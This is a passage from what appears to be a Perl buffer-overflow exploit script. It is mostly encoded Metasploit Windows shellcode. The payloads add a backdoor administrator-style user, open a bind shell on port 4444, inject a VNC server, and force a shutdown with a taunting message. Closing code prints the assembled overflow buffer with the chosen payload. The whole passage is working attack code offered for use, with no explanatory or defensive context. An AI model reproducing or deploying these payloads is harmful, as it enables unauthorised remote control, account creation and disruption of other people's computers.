x38\\x4e\\x51\\x4b\\x38".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x50\\x4b\\x4e\\x49\\x38\\x4e\\x45\\x46\\x32\\x46\\x50\\x43\\x4c\\x41\\x33".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x4c\\x46\\x46\\x4b\\x48\\x42\\x34\\x42\\x33\\x45\\x38\\x42\\x4c\\x4a\\x47".\r\n\u00a0\u00a0\t\u00a0\u00a0\u00a0"\\x4e\\x30\\x4b\\x38\\x42\\x34\\x4e\\x50\\x4b\\x58\\x42\\x47\\x4e\\x41\\x4d\\x4a".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x58\\x4a\\x36\\x4a\\x30\\x4b\\x4e\\x49\\x50\\x4b\\x48\\x42\\x48\\x42\\x4b".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x30\\x42\\x50\\x42\\x30\\x4b\\x38\\x4a\\x56\\x4e\\x43\\x4f\\x55\\x41\\x33".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x4f\\x42\\x46\\x48\\x35\\x49\\x38\\x4a\\x4f\\x43\\x58\\x42\\x4c\\x4b\\x37".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x55\\x4a\\x36\\x42\\x4f\\x4c\\x58\\x46\\x50\\x4f\\x35\\x4a\\x36\\x4a\\x59".\r\n\t\u00a0\u00a0\u00a0"\\x50\\x4f\\x4c\\x38\\x50\\x50\\x47\\x55\\x4f\\x4f\\x47\\x4e\\x43\\x56\\x41\\x56".\r\n\t\u00a0\u00a0\u00a0"\\x4e\\x46\\x43\\x56\\x50\\x32\\x45\\x46\\x4a\\x37\\x45\\x36\\x42\\x50\\x5a";\r\n\r\n#\u00a0win32_adduser\u00a0-\u00a0\u00a0PASS=koshi\u00a0EXITFUNC=seh\u00a0USER=4dmin\u00a0Size=495\u00a0Encoder=PexAlphaNum\u00a0http://metasploit.com\r\n$shellc2\u00a0=\u00a0"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49".\r\n\t\u00a0\u00a0\u00a0"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41".\r\n\t\u00a0\u00a0\u00a0"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4a\\x4e\\x46\\x44".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x30\\x42\\x50\\x42\\x30\\x4b\\x48\\x45\\x44\\x4e\\x53\\x4b\\x38\\x4e\\x37".\r\n\t\u00a0\u00a0\u00a0"\\x45\\x50\\x4a\\x47\\x41\\x50\\x4f\\x4e\\x4b\\x38\\x4f\\x54\\x4a\\x51\\x4b\\x58".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x35\\x42\\x52\\x41\\x30\\x4b\\x4e\\x49\\x54\\x4b\\x38\\x46\\x53\\x4b\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x30\\x50\\x4e\\x41\\x53\\x42\\x4c\\x49\\x39\\x4e\\x4a\\x46\\x48\\x42\\x4c".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x57\\x47\\x50\\x41\\x4c\\x4c\\x4c\\x4d\\x30\\x41\\x30\\x44\\x4c\\x4b\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x4f\\x4b\\x53\\x46\\x55\\x46\\x52\\x46\\x30\\x45\\x47\\x45\\x4e\\x4b\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x45\\x46\\x42\\x41\\x50\\x4b\\x4e\\x48\\x46\\x4b\\x48\\x4e\\x50\\x4b\\x54".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x48\\x4f\\x55\\x4e\\x51\\x41\\x50\\x4b\\x4e\\x4b\\x58\\x4e\\x51\\x4b\\x58".\r\n\u00a0\t\u00a0\u00a0\u00a0"\\x41\\x30\\x4b\\x4e\\x49\\x38\\x4e\\x55\\x46\\x42\\x46\\x30\\x43\\x4c\\x41\\x33".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x4c\\x46\\x46\\x4b\\x58\\x42\\x34\\x42\\x53\\x45\\x48\\x42\\x4c\\x4a\\x37".\r\n\t\u00a0\u00a0\u00a0"\\x4e\\x30\\x4b\\x48\\x42\\x44\\x4e\\x30\\x4b\\x48\\x42\\x37\\x4e\\x51\\x4d\\x4a".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x58\\x4a\\x36\\x4a\\x30\\x4b\\x4e\\x49\\x50\\x4b\\x48\\x42\\x48\\x42\\x4b".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x30\\x42\\x30\\x42\\x50\\x4b\\x58\\x4a\\x36\\x4e\\x53\\x4f\\x45\\x41\\x53".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x4f\\x42\\x36\\x48\\x45\\x49\\x38\\x4a\\x4f\\x43\\x48\\x42\\x4c\\x4b\\x57".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x55\\x4a\\x56\\x42\\x4f\\x4c\\x58\\x46\\x50\\x4f\\x55\\x4a\\x46\\x4a\\x59".\r\n\t\u00a0\u00a0\u00a0"\\x50\\x4f\\x4c\\x58\\x50\\x30\\x47\\x35\\x4f\\x4f\\x47\\x4e\\x43\\x36\\x4d\\x46".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x56\\x50\\x42\\x45\\x36\\x4a\\x37\\x45\\x56\\x42\\x32\\x4f\\x52\\x43\\x46".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x42\\x50\\x56\\x45\\x46\\x46\\x47\\x42\\x52\\x45\\x47\\x43\\x37\\x45\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x44\\x57\\x42\\x42\\x46\\x53\\x46\\x36\\x4d\\x56\\x49\\x46\\x50\\x56\\x42\\x32".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x36\\x4f\\x36\\x43\\x37\\x4a\\x46\\x49\\x36\\x42\\x32\\x4f\\x42\\x41\\x34".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x54\\x46\\x34\\x42\\x32\\x48\\x52\\x48\\x52\\x42\\x52\\x50\\x36\\x45\\x46".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x57\\x42\\x42\\x4e\\x56\\x4f\\x36\\x43\\x36\\x41\\x36\\x4e\\x46\\x47\\x56".\r\n\t\u00a0\u00a0\u00a0"\\x44\\x37\\x4f\\x36\\x45\\x57\\x42\\x57\\x42\\x52\\x41\\x44\\x46\\x56\\x4d\\x56".\r\n\t\u00a0\u00a0\u00a0"\\x49\\x46\\x50\\x56\\x49\\x46\\x43\\x47\\x46\\x57\\x44\\x37\\x41\\x36\\x46\\x57".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x46\\x44\\x37\\x43\\x37\\x42\\x32\\x46\\x43\\x46\\x36\\x4d\\x56\\x49\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x50\\x56\\x42\\x42\\x4f\\x32\\x41\\x44\\x46\\x54\\x46\\x54\\x42\\x50\\x5a";\r\n\r\n#\u00a0win32_bind\u00a0-\u00a0\u00a0EXITFUNC=seh\u00a0LPORT=4444\u00a0Size=709\u00a0Encoder=PexAlphaNum\u00a0http://metasploit.com\r\n$shellc3\u00a0=\u00a0"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49".\r\n\t\u00a0\u00a0\u00a0"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41".\r\n\t\u00a0\u00a0\u00a0"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4c\\x36\\x4b\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x4d\\x44\\x4a\\x4e\\x49\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x42\\x56\\x4b\\x38".\r\n\t\u00a0\u00a0\u00a0"\\x4e\\x36\\x46\\x52\\x46\\x32\\x4b\\x38\\x45\\x54\\x4e\\x53\\x4b\\x48\\x4e\\x37".\r\n\t\u00a0\u00a0\u00a0"\\x45\\x30\\x4a\\x47\\x41\\x30\\x4f\\x4e\\x4b\\x58\\x4f\\x44\\x4a\\x41\\x4b\\x58".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x45\\x42\\x52\\x41\\x50\\x4b\\x4e\\x49\\x44\\x4b\\x58\\x46\\x33\\x4b\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x50\\x50\\x4e\\x41\\x33\\x42\\x4c\\x49\\x39\\x4e\\x4a\\x46\\x58\\x42\\x4c".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x37\\x47\\x30\\x41\\x4c\\x4c\\x4c\\x4d\\x30\\x41\\x50\\x44\\x4c\\x4b\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x4f\\x4b\\x33\\x46\\x35\\x46\\x32\\x4a\\x32\\x45\\x57\\x45\\x4e\\x4b\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x35\\x46\\x32\\x41\\x30\\x4b\\x4e\\x48\\x36\\x4b\\x58\\x4e\\x30\\x4b\\x54".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x58\\x4f\\x35\\x4e\\x31\\x41\\x50\\x4b\\x4e\\x43\\x50\\x4e\\x52\\x4b\\x58".\r\n\t\u00a0\u00a0\u00a0"\\x49\\x58\\x4e\\x46\\x46\\x52\\x4e\\x31\\x41\\x46\\x43\\x4c\\x41\\x33\\x4b\\x4d".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x46\\x4b\\x48\\x43\\x34\\x42\\x53\\x4b\\x58\\x42\\x54\\x4e\\x30\\x4b\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x57\\x4e\\x31\\x4d\\x4a\\x4b\\x48\\x42\\x44\\x4a\\x50\\x50\\x45\\x4a\\x46".\r\n\t\u00a0\u00a0\u00a0"\\x50\\x38\\x50\\x34\\x50\\x50\\x4e\\x4e\\x42\\x55\\x4f\\x4f\\x48\\x4d\\x48\\x46".\r\n\t\u00a0\u00a0\u00a0"\\x43\\x45\\x48\\x56\\x4a\\x36\\x43\\x53\\x44\\x33\\x4a\\x46\\x47\\x57\\x43\\x37".\r\n\t\u00a0\u00a0\u00a0"\\x44\\x53\\x4f\\x55\\x46\\x35\\x4f\\x4f\\x42\\x4d\\x4a\\x56\\x4b\\x4c\\x4d\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x4e\\x4f\\x4b\\x53\\x42\\x55\\x4f\\x4f\\x48\\x4d\\x4f\\x45\\x49\\x38\\x45\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x36\\x41\\x58\\x4d\\x4e\\x4a\\x50\\x44\\x30\\x45\\x45\\x4c\\x36\\x44\\x50".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x4f\\x42\\x4d\\x4a\\x56\\x49\\x4d\\x49\\x30\\x45\\x4f\\x4d\\x4a\\x47\\x45".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x4f\\x48\\x4d\\x43\\x45\\x43\\x45\\x43\\x55\\x43\\x55\\x43\\x55\\x43\\x54".\r\n\t\u00a0\u00a0\u00a0"\\x43\\x45\\x43\\x54\\x43\\x45\\x4f\\x4f\\x42\\x4d\\x48\\x46\\x4a\\x36\\x41\\x31".\r\n\t\u00a0\u00a0\u00a0"\\x4e\\x35\\x48\\x46\\x43\\x55\\x49\\x58\\x41\\x4e\\x45\\x59\\x4a\\x46\\x46\\x4a".\r\n\t\u00a0\u00a0\u00a0"\\x4c\\x41\\x42\\x47\\x47\\x4c\\x47\\x35\\x4f\\x4f\\x48\\x4d\\x4c\\x46\\x42\\x31".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x55\\x45\\x55\\x4f\\x4f\\x42\\x4d\\x4a\\x46\\x46\\x4a\\x4d\\x4a\\x50\\x32".\r\n\t\u00a0\u00a0\u00a0"\\x49\\x4e\\x47\\x55\\x4f\\x4f\\x48\\x4d\\x43\\x55\\x45\\x55\\x4f\\x4f\\x42\\x4d".\r\n\t\u00a0\u00a0\u00a0"\\x4a\\x56\\x45\\x4e\\x49\\x44\\x48\\x38\\x49\\x34\\x47\\x55\\x4f\\x4f\\x48\\x4d".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x45\\x46\\x45\\x46\\x45\\x45\\x35\\x4f\\x4f\\x42\\x4d\\x43\\x59\\x4a\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x47\\x4e\\x49\\x47\\x48\\x4c\\x49\\x37\\x47\\x35\\x4f\\x4f\\x48\\x4d\\x45\\x45".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x4f\\x42\\x4d\\x48\\x56\\x4c\\x36\\x46\\x56\\x48\\x46\\x4a\\x36\\x43\\x46".\r\n\t\u00a0\u00a0\u00a0"\\x4d\\x36\\x49\\x38\\x45\\x4e\\x4c\\x46\\x42\\x35\\x49\\x45\\x49\\x32\\x4e\\x4c".\r\n\t\u00a0\u00a0\u00a0"\\x49\\x48\\x47\\x4e\\x4c\\x56\\x46\\x54\\x49\\x48\\x44\\x4e\\x41\\x43\\x42\\x4c".\r\n\t\u00a0\u00a0\u00a0"\\x43\\x4f\\x4c\\x4a\\x50\\x4f\\x44\\x54\\x4d\\x52\\x50\\x4f\\x44\\x54\\x4e\\x42".\r\n\t\u00a0\u00a0\u00a0"\\x43\\x59\\x4d\\x38\\x4c\\x47\\x4a\\x43\\x4b\\x4a\\x4b\\x4a\\x4b\\x4a\\x4a\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x44\\x47\\x50\\x4f\\x43\\x4b\\x48\\x41\\x4f\\x4f\\x45\\x47\\x46\\x54\\x4f\\x4f".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x4d\\x4b\\x45\\x47\\x45\\x44\\x35\\x41\\x35\\x41\\x45\\x41\\x55\\x4c\\x46".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x30\\x41\\x45\\x41\\x45\\x45\\x45\\x41\\x45\\x4f\\x4f\\x42\\x4d\\x4a\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x4d\\x4a\\x49\\x4d\\x45\\x30\\x50\\x4c\\x43\\x45\\x4f\\x4f\\x48\\x4d\\x4c\\x56".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x4f\\x4f\\x4f\\x47\\x33\\x4f\\x4f\\x42\\x4d\\x4b\\x48\\x47\\x35\\x4e\\x4f".\r\n\t\u00a0\u00a0\u00a0"\\x43\\x38\\x46\\x4c\\x46\\x36\\x4f\\x4f\\x48\\x4d\\x44\\x55\\x4f\\x4f\\x42\\x4d".\r\n\t\u00a0\u00a0\u00a0"\\x4a\\x56\\x42\\x4f\\x4c\\x58\\x46\\x50\\x4f\\x55\\x43\\x45\\x4f\\x4f\\x48\\x4d".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x4f\\x42\\x4d\\x5a";\r\n\r\n#\u00a0win32_bind_vncinject\u00a0-\u00a0\u00a0VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll\u00a0EXITFUNC=seh\u00a0AUTOVNC=1\u00a0VNCPORT=5900\u00a0LPORT=4444\u00a0Size=649\u00a0Encoder=PexAlphaNum\u00a0http://metasploit.com\r\n$shellc4\u00a0=\u00a0"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49".\r\n\t\u00a0\u00a0\u00a0"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41".\r\n\t\u00a0\u00a0\u00a0"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4a\\x4e\\x48\\x55\\x42\\x50".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x30\\x42\\x30\\x43\\x55\\x45\\x35\\x48\\x45\\x47\\x45\\x4b\\x38\\x4e\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x42\\x4a\\x31\\x4b\\x38\\x45\\x54\\x4e\\x33\\x4b\\x48\\x46\\x55\\x45\\x30".\r\n\t\u00a0\u00a0\u00a0"\\x4a\\x47\\x41\\x50\\x4c\\x4e\\x4b\\x58\\x4c\\x54\\x4a\\x31\\x4b\\x48\\x4c\\x55".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x42\\x41\\x50\\x4b\\x4e\\x43\\x4e\\x44\\x43\\x49\\x54\\x4b\\x58\\x46\\x33".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x48\\x41\\x30\\x50\\x4e\\x41\\x33\\x4f\\x4f\\x4e\\x4f\\x41\\x43\\x42\\x4c".\r\n\t\u00a0\u00a0\u00a0"\\x4e\\x4a\\x4a\\x53\\x42\\x4e\\x46\\x57\\x47\\x30\\x41\\x4c\\x4f\\x4c\\x4d\\x30".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x30\\x47\\x4c\\x4b\\x4e\\x44\\x4f\\x4b\\x33\\x4e\\x47\\x46\\x42\\x46\\x51".\r\n\t\u00a0\u00a0\u00a0"\\x45\\x37\\x41\\x4e\\x4b\\x38\\x4c\\x35\\x46\\x52\\x41\\x30\\x4b\\x4e\\x48\\x56".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x58\\x4e\\x50\\x4b\\x54\\x4b\\x48\\x4c\\x55\\x4e\\x51\\x41\\x30\\x4b\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x58\\x46\\x30\\x4b\\x58\\x41\\x50\\x4a\\x4e\\x4b\\x4e\\x44\\x50\\x41\\x43".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x4c\\x4f\\x35\\x50\\x35\\x4d\\x35\\x4b\\x45\\x44\\x4c\\x4a\\x50\\x42\\x50".\r\n\t\u00a0\u00a0\u00a0"\\x50\\x55\\x4c\\x36\\x42\\x33\\x49\\x55\\x46\\x46\\x4b\\x58\\x49\\x31\\x4b\\x38".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x45\\x4e\\x50\\x4b\\x38\\x4b\\x35\\x4e\\x31\\x4b\\x48\\x4b\\x51\\x4b\\x58".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x45\\x4a\\x30\\x43\\x55\\x4a\\x56\\x50\\x38\\x50\\x34\\x50\\x50\\x4e\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x4f\\x48\\x4d\\x49\\x48\\x47\\x4c\\x41\\x58\\x4e\\x4e\\x42\\x50\\x41\\x50".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x50\\x42\\x30\\x47\\x45\\x48\\x55\\x43\\x45\\x49\\x38\\x45\\x4e\\x4a\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x47\\x52\\x42\\x30\\x42\\x30\\x42\\x30\\x42\\x59\\x41\\x50\\x42\\x30\\x42\\x50".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x4b\\x49\\x51\\x4a\\x51\\x47\\x4e\\x46\\x4a\\x49\\x31\\x42\\x47\\x49\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x45\\x4e\\x49\\x54\\x48\\x58\\x49\\x54\\x46\\x4a\\x4c\\x51\\x42\\x37\\x47\\x4c".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x4a\\x4d\\x4a\\x50\\x42\\x49\\x4e\\x49\\x4d\\x49\\x50\\x45\\x4f\\x4d\\x4a".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x4c\\x4d\\x4e\\x4e\\x4f\\x4b\\x43\\x47\\x45\\x43\\x35\\x44\\x33\\x4f\\x45".\r\n\t\u00a0\u00a0\u00a0"\\x43\\x33\\x44\\x43\\x42\\x30\\x4b\\x45\\x4d\\x38\\x4b\\x34\\x42\\x42\\x41\\x55".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x4f\\x47\\x4d\\x49\\x58\\x4f\\x4d\\x49\\x38\\x43\\x4c\\x4d\\x58\\x45\\x47".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x41\\x4c\\x36\\x47\\x30\\x49\\x45\\x41\\x35\\x43\\x45\\x4f\\x4f\\x46\\x43".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x38\\x4f\\x4f\\x45\\x35\\x46\\x50\\x49\\x35\\x49\\x58\\x46\\x50\\x50\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x44\\x4e\\x44\\x4f\\x4b\\x32\\x47\\x52\\x46\\x35\\x4f\\x4f\\x47\\x43\\x4f\\x4f".\r\n\t\u00a0\u00a0\u00a0"\\x45\\x35\\x42\\x43\\x41\\x53\\x42\\x4c\\x42\\x45\\x42\\x35\\x42\\x35\\x42\\x55".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x54\\x42\\x55\\x42\\x44\\x42\\x35\\x4f\\x4f\\x45\\x45\\x4e\\x32\\x49\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x47\\x4c\\x41\\x53\\x4b\\x4d\\x43\\x45\\x43\\x45\\x4a\\x46\\x44\\x30\\x42\\x50".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x31\\x4e\\x55\\x49\\x48\\x42\\x4e\\x4c\\x36\\x42\\x31\\x42\\x35\\x47\\x55".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x4f\\x45\\x35\\x46\\x32\\x43\\x55\\x47\\x45\\x4f\\x4f\\x45\\x45\\x4a\\x32".\r\n\t\u00a0\u00a0\u00a0"\\x43\\x55\\x46\\x35\\x47\\x45\\x4f\\x4f\\x45\\x55\\x42\\x32\\x49\\x48\\x47\\x4c".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x58\\x4e\\x4e\\x42\\x50\\x42\\x31\\x42\\x50\\x42\\x50\\x49\\x58\\x43\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x4c\\x46\\x42\\x50\\x4a\\x46\\x42\\x30\\x42\\x51\\x42\\x30\\x42\\x30\\x43\\x35".\r\n\t\u00a0\u00a0\u00a0"\\x47\\x45\\x4f\\x4f\\x45\\x35\\x4a\\x31\\x41\\x58\\x4e\\x4e\\x42\\x30\\x46\\x30".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x30\\x42\\x30\\x4f\\x4f\\x43\\x4d\\x5a";\r\n\r\n#\u00a0win32_exec\u00a0-\u00a0\u00a0EXITFUNC=seh\u00a0CMD=shutdown\u00a0-c\u00a0"HAI\u00a0VEn0m\u00a0pwn3d\u00a0j00r\u00a0b0x0r\u00a0wif\u00a0k0sh1\u00a0u\u00a0b1tch"\u00a0Size=451\u00a0Encoder=PexAlphaNum\u00a0http://metasploit.com\r\n$shellc5\u00a0=\u00a0"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49".\r\n\t\u00a0\u00a0\u00a0"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41".\r\n\t\u00a0\u00a0\u00a0"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4a\\x4e\\x46\\x34".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x50\\x42\\x50\\x42\\x30\\x4b\\x38\\x45\\x54\\x4e\\x43\\x4b\\x38\\x4e\\x47".\r\n\t\u00a0\u00a0\u00a0"\\x45\\x30\\x4a\\x47\\x41\\x30\\x4f\\x4e\\x4b\\x38\\x4f\\x54\\x4a\\x51\\x4b\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x35\\x42\\x32\\x41\\x50\\x4b\\x4e\\x49\\x54\\x4b\\x38\\x46\\x43\\x4b\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x50\\x50\\x4e\\x41\\x53\\x42\\x4c\\x49\\x59\\x4e\\x4a\\x46\\x58\\x42\\x4c".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x47\\x47\\x30\\x41\\x4c\\x4c\\x4c\\x4d\\x50\\x41\\x50\\x44\\x4c\\x4b\\x4e".\r\n\t\u00a0\u00a0\u00a0"\\x46\\x4f\\x4b\\x53\\x46\\x55\\x46\\x32\\x46\\x30\\x45\\x37\\x45\\x4e\\x4b\\x38".\r\n\t\u00a0\u00a0\u00a0"\\x4f\\x55\\x46\\x52\\x41\\x50\\x4b\\x4e\\x48\\x56\\x4b\\x48\\x4e\\x50\\x4b\\x34".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x38\\x4f\\x45\\x4e\\x31\\x41\\x30\\x4b\\x4e\\x4b\\x38\\x4e\\x31\\x4b\\x48".\r\n\t\u00a0\u00a0\u00a0"\\x41\\x50\\x4b\\x4e\\x49\\x48\\x4e\\x35\\x46\\x32\\x46\\x50\\x43\\x4c\\x41\\x43".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x4c\\x46\\x56\\x4b\\x48\\x42\\x34\\x42\\x43\\x45\\x58\\x42\\x4c\\x4a\\x37".\r\n\t\u00a0\u00a0\u00a0"\\x4e\\x50\\x4b\\x38\\x42\\x34\\x4e\\x50\\x4b\\x38\\x42\\x57\\x4e\\x51\\x4d\\x4a".\r\n\t\u00a0\u00a0\u00a0"\\x4b\\x58\\x4a\\x36\\x4a\\x50\\x4b\\x4e\\x49\\x30\\x4b\\x58\\x42\\x58\\x42\\x4b".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x50\\x42\\x30\\x42\\x50\\x4b\\x48\\x4a\\x46\\x4e\\x43\\x4f\\x45\\x41\\x53".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x4f\\x42\\x36\\x48\\x35\\x49\\x48\\x4a\\x4f\\x43\\x58\\x42\\x4c\\x4b\\x37".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x45\\x4a\\x56\\x42\\x4f\\x4c\\x48\\x46\\x30\\x4f\\x55\\x4a\\x56\\x4a\\x39".\r\n\t\u00a0\u00a0\u00a0"\\x50\\x4f\\x4c\\x58\\x50\\x50\\x47\\x45\\x4f\\x4f\\x47\\x4e\\x43\\x37\\x4a\\x56".\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0"\\x45\\x47\\x46\\x37\\x46\\x46\\x4f\\x36\\x47\\x37\\x50\\x46\\x42\\x42\\x4d\\x42".\r\n\t\u00a0\u00a0\u00a0"\\x43\\x36\\x42\\x42\\x44\\x42\\x4a\\x34\\x41\\x54\\x49\\x34\\x42\\x42\\x48\\x35".\r\n\t\u00a0\u00a0\u00a0"\\x45\\x34\\x50\\x56\\x42\\x33\\x4d\\x56\\x42\\x52\\x42\\x57\\x47\\x57\\x50\\x56".\r\n\t\u00a0\u00a0\u00a0"\\x43\\x33\\x46\\x36\\x42\\x32\\x4c\\x46\\x42\\x33\\x42\\x33\\x44\\x37\\x42\\x32".\r\n\t\u00a0\u00a0\u00a0"\\x44\\x46\\x42\\x53\\x4a\\x57\\x42\\x33\\x44\\x47\\x42\\x52\\x47\\x47\\x49\\x56".\r\n\t\u00a0\u00a0\u00a0"\\x48\\x46\\x42\\x52\\x4b\\x56\\x42\\x33\\x43\\x57\\x4a\\x56\\x41\\x53\\x42\\x32".\r\n\t\u00a0\u00a0\u00a0"\\x45\\x37\\x42\\x32\\x44\\x56\\x41\\x43\\x46\\x37\\x43\\x46\\x4a\\x56\\x44\\x32".\r\n\t\u00a0\u00a0\u00a0"\\x42\\x30\\x5a";\r\n\r\n$endQuote\u00a0=\u00a0"\\x22";\r\n\r\n$i\u00a0=\u00a0$ARGV[0];\r\n\r\n\r\nif\u00a0($i==1){\r\nprint\u00a0"$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc1$endQuote$koshi";\r\nexit;\r\n}\r\n\r\n\r\nif\u00a0($i==2){\r\nprint\u00a0"$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc2$endQuote$koshi";\r\nexit;\r\n}\r\n\r\n\r\nif\u00a0($i==3){\r\nprint\u00a0"$begin0$begin1$B